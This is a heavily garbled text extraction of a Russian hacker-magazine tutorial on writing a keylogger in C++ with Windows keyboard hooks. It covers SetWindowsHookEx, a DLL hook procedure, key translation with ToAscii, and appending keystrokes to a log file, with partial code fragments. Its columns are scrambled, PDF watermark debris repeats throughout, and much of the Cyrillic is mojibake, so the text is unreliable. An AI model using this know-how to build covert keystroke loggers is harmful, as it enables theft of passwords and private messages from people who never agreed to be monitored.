книги хакеры / журнал хакер / 055_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
- |
|
|
|
|
|
d |
|
|||||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
|
P |
|
|
|
|
|
|
|
|
|
|
o |
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
w |
|
|
|
to |
|
NOW! |
|
|
|
Кодинг |
|
|
|
|
|
|
|
|
w |
|
|
|
to |
|
NOW! |
|
|
||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
|
|
Клавиатурная |
|
|
|
|
BUY |
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
o |
m |
|
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
o |
m |
||||||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
||||
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
.c |
|
|||||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
||
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|||||
|
|
|
|
-xcha |
|
|
|
|
|
|
íà |
C++ |
|
|
|
|
-x cha |
|
|
|
|
|
|||||||||||||
|
|
|
|
КЛАВИАТУРНАЯ СНИФАЛКА НА C++ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
Николай "GorluM" Андреев (gorlum@real.xakep.ru) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
снифалка |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
За английским словом keylogger (key - |
клавиша, log - вносить в журнал) |
скрывается не что иное, |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||
|
|
|
|
|
. Она логирует все |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. Так можно назвать, например, программу |
hookdump |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
êàê |
|
клавиатурный |
шпион |
имена открытых окон. В общем, |
приносит людям немало пользы |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
нажатия клавиатуры, фиксирует |
|
|
|
немного |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||
|
|
|
|
|
|
|
|
ты напишешь сам. Конечно, она будет |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||
|
|
|
|
|
|
|
|
|
:). А теперь представь, что такую же утилиту |
. |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
попроще, но висеть в памяти и записывать |
все нажатия клавиш в файл она сможет |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
.xakep.ru) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Николай "GorluM" Андреев (gorlum@real |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Итак, загружай свою visual studio, она |
нам понадобится для создания двух модулей |
|||||||
|
|
|
и будешь запускать. |
|||||
|
. |
Первый модуль - сам ехе'шник, его ты |
||||||
(проектов) программы |
|
|
. Второй, самый интересный |
äëÿ íàñ - |
||||
Ýòî Win32 Project, òèï |
|
|
- |
|||||
- Windows Application |
|
|
|
|||||
динамически |
подсоединяемая библиотека или, проще говоря - DLL. |
Она нам потре |
||||||
|
|
|||||||
|
внедриться в |
систему и перехватывать |
все нажатия клавиш |
|||||
буется для того, чтобы |
|
|
|
|||||
|
|
|
. Этот проект будет та- |
|||||
для последующей их обработки, к примеру, |
записи в файл |
|
|
|
||||
кой же, как и exe, только с другим типом |
- DLL. |
|
|
|
||||
|
|
|
|
|
Ловушки |
|
|
|
|
|
|
|
|
|
|
|
событий в Windows |
существу- |
||||||||
Для перехвата любых системных и пользовательских |
|||||||||||||||||||||
|
|
|
|
|
- |
||||||||||||||||
ет очень интересный |
механизм. Механизм хуков (hook) или, попросту |
говоря, лову |
|||||||||||||||||||
|
|
|
образом. Некоторый |
процесс запускает функцию ус- |
|||||||||||||||||
шек. Работает он следующим |
ее параметрах: |
|
|
|
|
||||||||||||||||
|
|
|
и указывает в |
|
|
|
|
||||||||||||||
тановки ловушки SetWindowsHookEx |
|
|
|
|
|||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
à) |
тип устанавливаемой |
ловушки (см. таблицу); |
срабатывания ловушки (такую про- |
||||||||||||||||||
|
|
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
б) адрес функции, которая будет обрабатывать |
|
|
|
|
|
|
|
|
|||||||||||||
цедуру мы напишем чуть ниже); |
|
|
содержится |
эта функция (в данном |
случае |
||||||||||||||||
с) дескриптор модуля, в котором |
|
||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
дескриптор DLL). |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
Затем система берет модуль, содержащий |
функцию обработки ловушки, и подгру- |
||||||||||||||||||||
|
|
|
|
|
|
. Установив |
|||||||||||||||
æàåò åãî êî âñåì |
доступным процессам в зависимости |
от прав доступа |
|
- |
|||||||||||||||||
некоторые флаги |
ó |
процесса, |
система заставляет |
его запускать функцию обработ |
|||||||||||||||||
|
хука. Наша с тобой задача - написать |
функцию об- |
|||||||||||||||||||
ки всякий раз при срабатывании |
|
|
|
||||||||||||||||||
|
|
|
модуль |
(подгружается системой), и прог- |
|||||||||||||||||
работки, которая |
запихнет ее в отдельный |
||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
|
|
|
|
|
рамму, устанавливающую |
саму ловушку |
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Основные типы WH_KEYBOARD
WH_MOUSE
WH_GETMESSAGE
WH_CBT
ловушек |
|
|
|
|
. Обрабатывает любые события |
|||||
|
|
|
|
|
||||||
рассматриваемая сегодня ловушка |
|
|
|
|
||||||
. |
|
|
|
|
|
|
|
|
|
|
клавиатуры |
|
|
|
|
|
помощью можно получить |
||||
перехватывает все события мыши. С ее |
||||||||||
|
|
мыши), состояние |
||||||||
текущее положение курсора (вести лог движения |
||||||||||
|
|
|||||||||
кнопок или дескриптор |
окна, на котором находится курсор. |
|||||||||
|
|
хук. Он позволяет перехватить и |
||||||||
наверное, самый универсальный |
||||||||||
. |
Его можно использовать в |
|||||||||
обработать |
|
|
|
|
||||||
любое оконное сообщение |
|
|
из-за слишком |
|||||||
|
-логгера, но не рекомендуется |
|||||||||
качестве кей/маус |
запусков процедуры хука. |
|
|
|
||||||
большого количества |
обрабатывать |
|||||||||
очень полезная системная ловушка. Позволяет |
||||||||||
|
|
|
||||||||
события, срабатывающие |
при активации, создании, уничтожении |
|||||||||
|
|
|
|
|
при удалении |
|||||
или смене |
размера окна; при смене фокуса ввода, |
|||||||||
|
||||||||||
|
|
|
. |
|
|
|
|
|
|
|
сообщений из очереди |
|
|
|
|
|
|
Пишем хук |
|
|
|
- |
|
|
|
|
|
|
|
Начнем мы с самого сложного - с написания модуля, содержащего |
функцию обра |
||||
|
. |
||||
ботки. А обрабатывать |
нам надо событие, возникающее при нажатии |
на клавишу |
|||
|
. |
.microsoft.com èëè çàã- |
|||
|
|
Если зайти на сайт msdn |
|
|
|
Событие ловушки - WH_KEYBOARD |
описание этой процедуры: |
|
|
||
лянуть на диск MSDN, можно найти |
|
|
|||
|
|
|
Вот так может выглядеть |
хорошо оформленный |
|
|
|
|
|
|
|
|
|||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
LRESULT CALLBACK KeyboardProc( |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
int code, |
// hook code |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
WPARAM wParam, |
// virtual-key code |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||
|
|
|
|
-message information |
|
|
|
|
|
|
|
|
||||||||||||||||||
LPARAM lParam |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||
// keystroke |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
); |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
То есть наша функция должна принимать |
три параметра, |
описанных |
òàê æå, |
|||||||||||||||||||||||||||
|
|
|
|
|
|
экспортируемой |
- |
|||||||||||||||||||||||
как в документации мелкомягких |
. |
Плюс надо сделать ее |
|
|||||||||||||||||||||||||||
|
|
|
модуль. В |
итоге получилось вот что: |
|
|||||||||||||||||||||||||
она будет запихиваться в отдельный |
|
|||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||
__declspec(dllexport) |
LRESULT CALLBACK KeyboardProc(int |
|
code, |
|||||||||||||||||||||||||||
|
|
|
||||||||||||||||||||||||||||
WPARAM wParam, LPARAM lParam); |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||
При срабатывании |
события в эту функцию передаются |
некоторые парамет- |
||||||||||||||||||||||||||||
|
|
ëèáî HC_NORE- |
||||||||||||||||||||||||||||
содержаться либо значение |
HC_ACTION, |
|||||||||||||||||||||||||||||
ры. В code будет |
|
именно на- |
||||||||||||||||||||||||||||
|
|
|
только |
первое. Мы ведь обрабатываем |
||||||||||||||||||||||||||
MOVE, но нас интересует |
|
|
|
|
|
|||||||||||||||||||||||||
|
|
|
|
|
|
нажата ли клавиша, |
можно при помощи |
|||||||||||||||||||||||
жатия клавиш. Кстати, определить, |
|
|||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||
вот такого выражения: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
(!(HIWORD(lParam) |
& KF_DOWN)) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
Îíî |
будет истинно, если клавиша |
нажата, и ложно, если клавиша отпуще- |
||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
ïî äâà |
раза (для нажатия и |
|||||||||||||||||||||
Òàê |
как нам не надо писать каждую клавишу |
|||||||||||||||||||||||||||||
íà. |
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
поставим условие, чтобы запись про- |
|||||||||||||||
отпускания), то при запуске функции |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||
изводилась только при нажатии: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
(code == HC_ACTION)&&(!(HIWORD(lParam) |
& KF_UP)) |
|
|
|
|
|
|
|
||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||
Если параметры удовлетворяют |
условию, то можно приступить к обработке |
êîäà íà- |
||||||||||||||||||||||||||||
|
|
|||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
в параметре wParam в виде значения |
||||||||||||||||||||||
жатой |
клавиши, который будет содержаться |
|||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
- |
|||||||||||||||||||
òèïà char. Êàê òû |
понимаешь, можно сразу записать это значение в лог |
è áåç îáðà |
||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
была ли это русская |
буква или латинская, и |
||||||||||||||||||
ботки, но тогда мы никогда не узнаем, |
|
|
|
|
|
. Ìû |
||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. Нет, так дело не пойдет |
|
||||||||
вместо |
нажатых ctrl и alt мы увидим просто |
квадратики |
|
и название клавиши и, |
||||||||||||||||||||||||||
грамотно обработаем полученную |
клавишу и запишем в лог |
|||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
70 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
åñëè áûë |
|
|
|
|
|
включен русский язык, букву в кириллице. |
|
|
|
А сделаем это следующим |
|
|
|
|
|
образом. Когда условия параметров нас |
удовлетворя- |
|
ют, создадим блок switch, в котором |
|
|||
темными |
клавишами. Если клавиша |
проверим значение wParam на сходство с сис- |
||
|
|
не системная, значит это буква. |
|
|
switch ((char)wParam){ |
|
|
||
|
|
case VK_ESCAPE: |
|
|
|
|
strcpy(buffer,"<ESC>"); |
|
|
|
|
break; |
|
|
|
|
case VK_RETURN: |
|
|
|
|
strcpy(buffer,"<RETURN>\r\n"); |
|
|
} |
|
break; |
|
|
|
|
|
|
buffer - строковая переменная. В |
íåå |
записываются данные, которые впоследствии |
|||||||||||||||
будут |
|
|
|
|
|
|
|
|
|||||||||
|
|
занесены в лог. По аналогии с примером описываются все |
возможные зна- |
||||||||||||||
чения wParam для ctrl, alt, tab и |
|
|
|
|
|
|
|
|
|
||||||||
Далее, если |
|
|
|
т.п. Все они определены в файле winuser.h. |
|||||||||||||
|
|
|
|
подпадает ни под одно из |
|
|
|
|
|||||||||
|
|
|
значение wParam не |
описанных выше, зна- |
|||||||||||||
чит, это буква, и данное |
условие |
|
|
|
|
|
|
||||||||||
|
|
|
|
|
требует отдельного рассмотрения. Так как мы не |
||||||||||||
знаем, какой был включен языковой режим, |
соответственно, и не сможем опреде- |
||||||||||||||||
ëèòü, ÷òî æå |
записывать в файл. |
|
|
|
|
||||||||||||
обходимого |
Для определения текущей |
раскладки и записи не- |
|||||||||||||||
символа |
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
относительно этой раскладки мы воспользуемся двумя функ- |
|||||||||||||
циями. Первая - GetKeyboardState получает |
массив из 256 элементов со всеми ста- |
||||||||||||||||
тусами |
|
|
|
|
|
|
|
|
|||||||||
кущей |
|
виртуальных клавиш. Вторая, ToAscii, занимается тем, что |
относительно те- |
||||||||||||||
раскладки, полученной при |
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
помощи первой функции, вычисляет, какой сим- |
|||||||||
вол должен соответствовать нажатой |
|
|
|
|
|
ýòîò |
символ в первый |
||||||||||
|
|
|
|
|
|
|
|
клавише, и записывает |
|||||||||
элемент нашей переменной. Вот так выглядит код: |
|
|
|
|
|
|
|||||||||||
default: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
BYTE keyarray[256] |
; |
|
|
|
|
|
|
|
|
|
|||||
|
|
if(GetKeyboardState(keyarray)) |
|
|
|
|
|
|
|||||||||
i f ( ! T o A s c i i ( w P a r a m , ( H I |
|
( l P a r a m ) & ( 0 x 0 |
0 0 0 F F F F ) ) , |
||||||||||||||
|
|
|
|
|
|
|
|
W O R D |
|||||||||
keyarray,(WORD*)&buffer[0],NULL)) |
|
|
|
|
|
|
|
|
|||||||||
|
|
break; |
|
|
|
|
buffer[0]='\0'; |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
Теперь осталось только открыть файл |
на запись, поставить с помощью функции |
||||||||||||||||
SetFilePointer курсор в конец и |
|
|
|
||||||||||||||
|
|
|
|
|
добавить наш буфер. Причем открывать его надо с |
||||||||||||
параметром FILE_SHARE_WRITE, иначе две программы |
не смогут одновременно ра- |
||||||||||||||||
ботать с |
|
одним файлом. Системе это не понравится. |
|||||||||||||||
|
|
|
|
|
|
|
|
||||||||||
Завершив обработку |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
полученного события, надо отправить его (событие) |
дальше |
|||||||||||||
по цепочке хуков. Делается это с |
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
помощью функции CallNextHookEx, в которой ука- |
|||||||||||
зываются все полученные в начале параметры. |
|
|
|
|
|
|
Описываю клавиши
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
- |
|
|
|
|
|
d |
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
P |
|
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
Пишем |
установщик |
õóêà |
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
||||||||||||||||||||||||||||||||
|
|
|
|
w |
|
|
|
to |
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
o |
m |
|||||
После |
написания |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
модуля |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
g |
.c |
|
||||||||||
|
|
|
|
|
обработки |
добавим |
|
ê |
|
проекту DLL файл |
|
|
|
|
|
p |
df |
|
|
|
|
|
|
||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
n |
|
|
|
|
|||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||||||||||||||||||||
котором будет содержаться имя |
|
|
|
|
|
exports.def, |
â |
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
экспортируемой функции в следующем |
формате: |
|
|
|
|
|
|
||||||||||||||||||||||||
LIBRARY spy |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
EXPORTS |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
KeyboardProc |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
Компилируем это. |
Теперь все ОК. |
Осталось написать программу, устанавливающую |
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||||||||
íàøó |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||
|
|
|
ловушку. Для этого берем обычный шаблон |
приложения (см. приложение) |
è |
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||||
начинаем в нем писать. |
Первое, что должна |
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
сделать программа - |
подгрузить к себе |
|
|
|
|
|
|
|||||||||||||||||||||||||||||
только что созданную DLL-ловушку. |
Делается это с помощью |
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||
Единственное, что |
ей необходимо |
|
функции LoadLibrary. |
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||
передать - имя |
подгружаемой библиотеки. Затем |
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||||
программа |
должна найти адрес в |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||
передаем |
|
памяти процедуры нашей |
ловушки. Для этого мы |
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||
|
WinAPI |
|
функции |
|
GetProcAddress |
адрес |
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||
которое |
|
вернула |
|
|
|
|
|
подгруженной |
DLL |
(значение, |
|
|
|
|
|
|
|||||||||||||||||||||||||||||||
|
|
LoadLibrary) |
è |
название |
|
обработчика, |
|
â |
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
данном случае |
|
|
|
|
|
|
||||||||||||||||||||
KeyboardProc. Теперь осталось только установить |
ловушку и |
заснуть на |
некоторое |
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||
время. |
Ловушка |
будет |
|
работать до |
|
òåõ |
ïîð, |
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
пока не вызовется |
|
функция |
|
|
|
|
|
|
|||||||||||||||||||||||||
UnhookWindowsHookEx, èëè íå |
уничтожится |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
процесс, установивший ловушку. Ведь |
|
|
|
|
|
|
||||||||||||||||||||||||||
когда процесс вырубается, все его библиотеки |
выгружаются, в том числе и DLL с |
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||||
нашей ловушкой. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||
Break |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
Ê |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
íå |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
сожалению, возможности рубрики "Кодинг" |
позволяют мне |
описать эту технику |
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||
более |
подробно, но |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||
ñâîé |
|
вышеизложенного материала |
хватит на то, чтобы начать писать |
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||||||
|
уникальный |
логгер |
|
ñ |
множеством |
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||||
|
|
|
полезных |
функций. |
Например, можно |
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||||
добавить |
â |
логгер |
фичу по записи |
времени, |
имени |
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||
|
|
|
|
|
процесса или окна, в |
котором |
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||
была введена |
буква. Можешь |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||
|
|
|
|
|
|
|
попробовать написать |
ловушку на |
ìûøü. Â |
общем, |
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||
здесь есть, что придумать. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||
иной функции |
|
|
|
|
|
Если будет интересно узнать про реализацию |
òîé |
|
èëè |
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||
в кейлоггере |
- |
ïèøè. Êàê |
обычно, проект для |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||
полный |
исходный текст программы |
|
|
|
|
Visual Studio .NET, |
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||
взять |
